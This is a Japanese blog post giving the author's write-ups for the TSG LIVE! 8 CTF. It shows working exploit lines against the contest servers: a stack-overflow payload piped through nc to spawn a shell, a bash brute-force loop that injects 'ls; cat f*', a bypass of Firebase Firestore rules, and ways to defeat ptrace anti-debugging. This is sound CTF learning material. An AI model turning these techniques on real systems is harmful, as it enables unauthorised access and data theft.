st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

TSG LIVE! 8 CTF writeup

5/14に100分という非常に短い競技時間で開催された。ひとりチームの\( ゜ヮ゜)> \(゜ヮ゜)/ \(゜ヮ゜)/ <(゜ヮ^ )/として参加して5位。


[Pwn 100] bpxover (15 solves)

以下のようなコードが与えられる。BOFがある。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
    char *argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char buf[16];

    puts("hello :)");
    scanf("%s", buf);
    long x = strtoll(buf, NULL, 10);
    asm ("xor %0, %%rbp\n\t"
            :
    : "r" (x));

    return 0;
}
$ (echo -en "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb6\x11\x40\x00\x00\x00\x00\x00"; cat) | nc chall.live.ctf.tsg.ne.jp 30006
hello :)
ls
ls -la
total 36
drwxr-xr-x 1 root user  4096 May 13 06:36 .
drwxr-xr-x 1 root root  4096 May 13 06:35 ..
-r-xr-xr-x 1 root user 17000 May 13 06:27 chall
-r--r--r-- 1 root user    35 May 13 06:27 flag
-r-xr-xr-x 1 root user    66 May 13 06:27 start.sh
cat flag
TSGLIVE{welcome_overflowwwwwwwwww}

[Pwn 200] bpxor (8 solves)

bpxoverに少し変更が加えられて、scanf("%s", buf)scanf("%15s", buf); になった。rbp をずらして、リターンアドレスがユーザ入力の後半部分に来るようにすればよさそう。何バイトずらすかは、ブルートフォースでなんとかする。

#!/bin/bash
count=0
while [ $count -lt 256 ]; do
    count=$((8+count))
    s="000${count}"
    (echo -en "${s: -3}_____\xb6\x11\x40\x00\x00\x00\x00\x00"; echo "ls; cat f*") | nc chall.live.ctf.tsg.ne.jp 30007
done
$ ./a.sh
hello :)
timeout: hello :)
timeout: hello :)
timeout: hello :)
chall
flag
start.sh
TSGLIVE{xoring_rbp_easily_leads_to_shell}

[Web 200] Problem on fire (8 solves)

Firebase。firestore.rules は以下のような内容になっていた。

rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /users/{uid} {
      // 自分のユーザー情報を書き込めるのは自分のみ
      allow read, create: if request.auth.uid == uid && !request.resource.data.admin;
      // 一度作ったユーザー情報を編集できるのはadminだけ
      allow update: if request.resource.data.admin;
    }
    match /flags/flag {
      // flagを読めるのはadminだけ
      allow read: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.admin == true;
    }
  }
}

フロントエンドのコードには以下のような処理があった。{admin: false}{admin: true} に変えるとフラグが得られた。

const db = firebase.firestore();
await db.collection('users').doc(uid).set({admin: false});

const flag = await db.collection('flags').doc('flag').get();
this.flag = flag.get('value');
TSGLIVE{git_fire_is_also_useful_when_the_project_is_on_fire}

私がfirst bloodでした🙌

[Misc 50] Welcome (31 solves)

問題文にフラグが書かれている。

TSGLIVE{Stream_is_constant_and_never_stay_same_Lets_enjoy_the_moment}

[Misc 250] guess (8 solves)

以下のようなC++のコードが渡される。ランダムに生成されるパスワードを当てればよいらしい。

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/unistd.h>
#include <unistd.h>
#include <iostream>
#include <string>
#include <thread>
#include <cstdlib>
#include <chrono>

void win(){
  using namespace std;
  cout<<"you win!\n"<<getenv("FLAG")<<endl;
  cout.flush();
  syscall(__NR_exit_group, 0);
}

void guess_checker(std::string s){
  using namespace std;
  cerr<<"Got:"<<s<<endl;
  int fd = open("/tmp/password",O_RDONLY);
  if(s.size()>20){
    close(fd);
  }
  if (!(fcntl(fd, F_GETFL) < 0)) {
    system("pwgen 50000 -s -1 -N1|tail -c 20 > /tmp/password");
    string pass;
    char c;
    while(read(fd,&c,1)==1&&c!='\n'){
      pass+=c;
    }
    cerr<<"Expected:"<<pass<<endl;
    if(s==pass){
      win();
    }
  }else{
    cout<<"Wrong Password"<<endl;
    cout.flush();
    this_thread::sleep_for(chrono::microseconds(500));
  }
  close(fd);
}
int main(int argc, char const* argv[])
{
  system("touch /tmp/password");
  using namespace std;
  while(true){
    cout<<"guess password:";
    cout.flush();
    string s;
    getline(cin,s);
    thread(guess_checker,s).detach();
  }
  return 0;
}

なにかしらのタイミングでパスワードが空になるのだろうとguessして、とりあえずエンターキーを押しっぱなしにしてみたらフラグが得られてしまった。

$ nc chall.live.ctf.tsg.ne.jp 21234
guess password:
guess password:Got:
Expected:fBHzKKp5y7rfm9285Ty



guess password:

Got:



guess password:guess password:Got:
Got:
Expected:SoC9JMuiynnyD05HYng

guess password:guess password:Got:
Got:
Expected:
you win!
TSGLIVE{ThI5_1S_n0T_UMa_MUsUMe_pR3TTy_DerbY_rACe}

[Rev 400] DNS ROPOB (8 solves)

入力した文字列がフラグであるか確認してくれるELFが渡される。なんかROPっぽい感じでプログラムが組まれていて、解析がしづらくなっている。それに加えて ptrace を使った gdb とか ltrace による解析への妨害もされているが、それはNOPで潰すなり LD_PRELOADptrace を差し替えるなりすれば回避できる。

バイナリに含まれる怪しげなバイト列同士をXORすればフラグが出てきたりしないかな~というような無駄な試行の後に、Ghidraでバイナリを眺める。以下の2箇所で cmp ecx, eax が実行されているのを見つけた。

gdbブレークポイントを置いてみると、AAAAAAA を入力した場合には1回しか止まらなかったのに対して、TSGCTF{ では8回止まった。あとは ecxeax が同じ値になるように一文字ずつ入力を変えていくだけ。gdb scriptを書いたら楽だろうと思いつつ、手作業で頑張った。

TSGCTF{I_am_inspired_from_ROPOB}